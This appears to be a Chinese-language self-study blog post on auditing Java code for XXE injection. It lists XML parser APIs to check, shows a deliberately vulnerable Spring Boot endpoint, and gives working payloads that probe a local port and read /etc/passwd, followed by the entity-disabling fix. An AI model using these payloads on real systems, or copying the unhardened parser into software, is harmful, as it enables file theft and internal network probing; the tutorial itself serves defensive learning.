0x00 前提
Java 代码审计自学:主要自己一个人学习,有点闭门造车,搜索引擎学习法,但是还是记录一下,也分享一下,也便于将来的总结和反思,如果我能终能学到什么,我也会重新梳理思路,为那些自学者提供一个好的思路,所以有了下面的系列文章java代码审计自学篇。
0x01 XXE漏洞简介
XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网,没有回显时可组合利用file协议和ftp协议来读取文件。
0x02 XXE相关基础概念
XML&DTD
XML (可扩展标记语言,EXtensible Markup Language),是一种标记语言,用来传输和存储数据,而非显示数据。
DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
实体ENTITY
XML中的实体类型,一般有下面几种:字符实体、命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。
0x03 XXE审计函数
XML解析一般在导入配置、数据传输接口等场景可能会用到,涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体,从而判断是否存在XXE。部分XML解析接口如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| javax.xml.parsers.DocumentBuilderFactory; javax.xml.parsers.SAXParser javax.xml.transform.TransformerFactory javax.xml.validation.Validator javax.xml.validation.SchemaFactory javax.xml.transform.sax.SAXTransformerFactory javax.xml.transform.sax.SAXSource org.xml.sax.XMLReader org.xml.sax.helpers.XMLReaderFactory org.dom4j.io.SAXReader org.jdom.input.SAXBuilder org.jdom2.input.SAXBuilder javax.xml.bind.Unmarshaller javax.xml.xpath.XpathExpression javax.xml.stream.XMLStreamReader org.apache.commons.digester3.Digester
|
0x04 漏洞代码例子
使用spring boot框架写的小例子
询问一个常用的解析方法,选择一个有回显的方法,方便学习
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| @RequestMapping(value = "/DocumentBuilder", method = RequestMethod.POST)
public String DocumentBuilderVuln(HttpServletRequest request) { try { String body = WebUtils.getRequestBody(request); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); StringBuilder buf = new StringBuilder(); NodeList rootNodeList = document.getChildNodes(); for (int i = 0; i < rootNodeList.getLength(); i++) { Node rootNode = rootNodeList.item(i); NodeList child = rootNode.getChildNodes(); for (int j = 0; j < child.getLength(); j++) { Node node = child.item(j); buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent())); } } sr.close(); return buf.toString(); } catch (Exception e) { logger.error(e.toString()); return EXCEPT; }
|
0x05 漏洞利用
http 协议探测
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE joychou [ <!ENTITY xxe SYSTEM "http://127.0.0.1:8888"> ]> <root>&xxe;</root>
|
通过回显和延迟,粗略判断,或者DNS无回显探测

FILE 协议 任意文件读取
poc:
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE joychou [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
|
成功读取 etc/passwd

还有一些ooxml 这种后续再写其他的研究一下
0x06 修复
主要是这三句话,加入了禁止使用实体类
很多封装的方法,都是这样的去解决,都是禁用了ENTITY实体。
下面是DocumentBuilder禁用方法
1 2 3
| dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| @RequestMapping(value = "/Sec", method = RequestMethod.POST) public String DocumentBuilderSec(HttpServletRequest request) { try { String body = WebUtils.getRequestBody(request); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); db.parse(is); sr.close(); } catch (Exception e) { logger.error(e.toString()); return EXCEPT; } return "DocumentBuilder security code"; }
|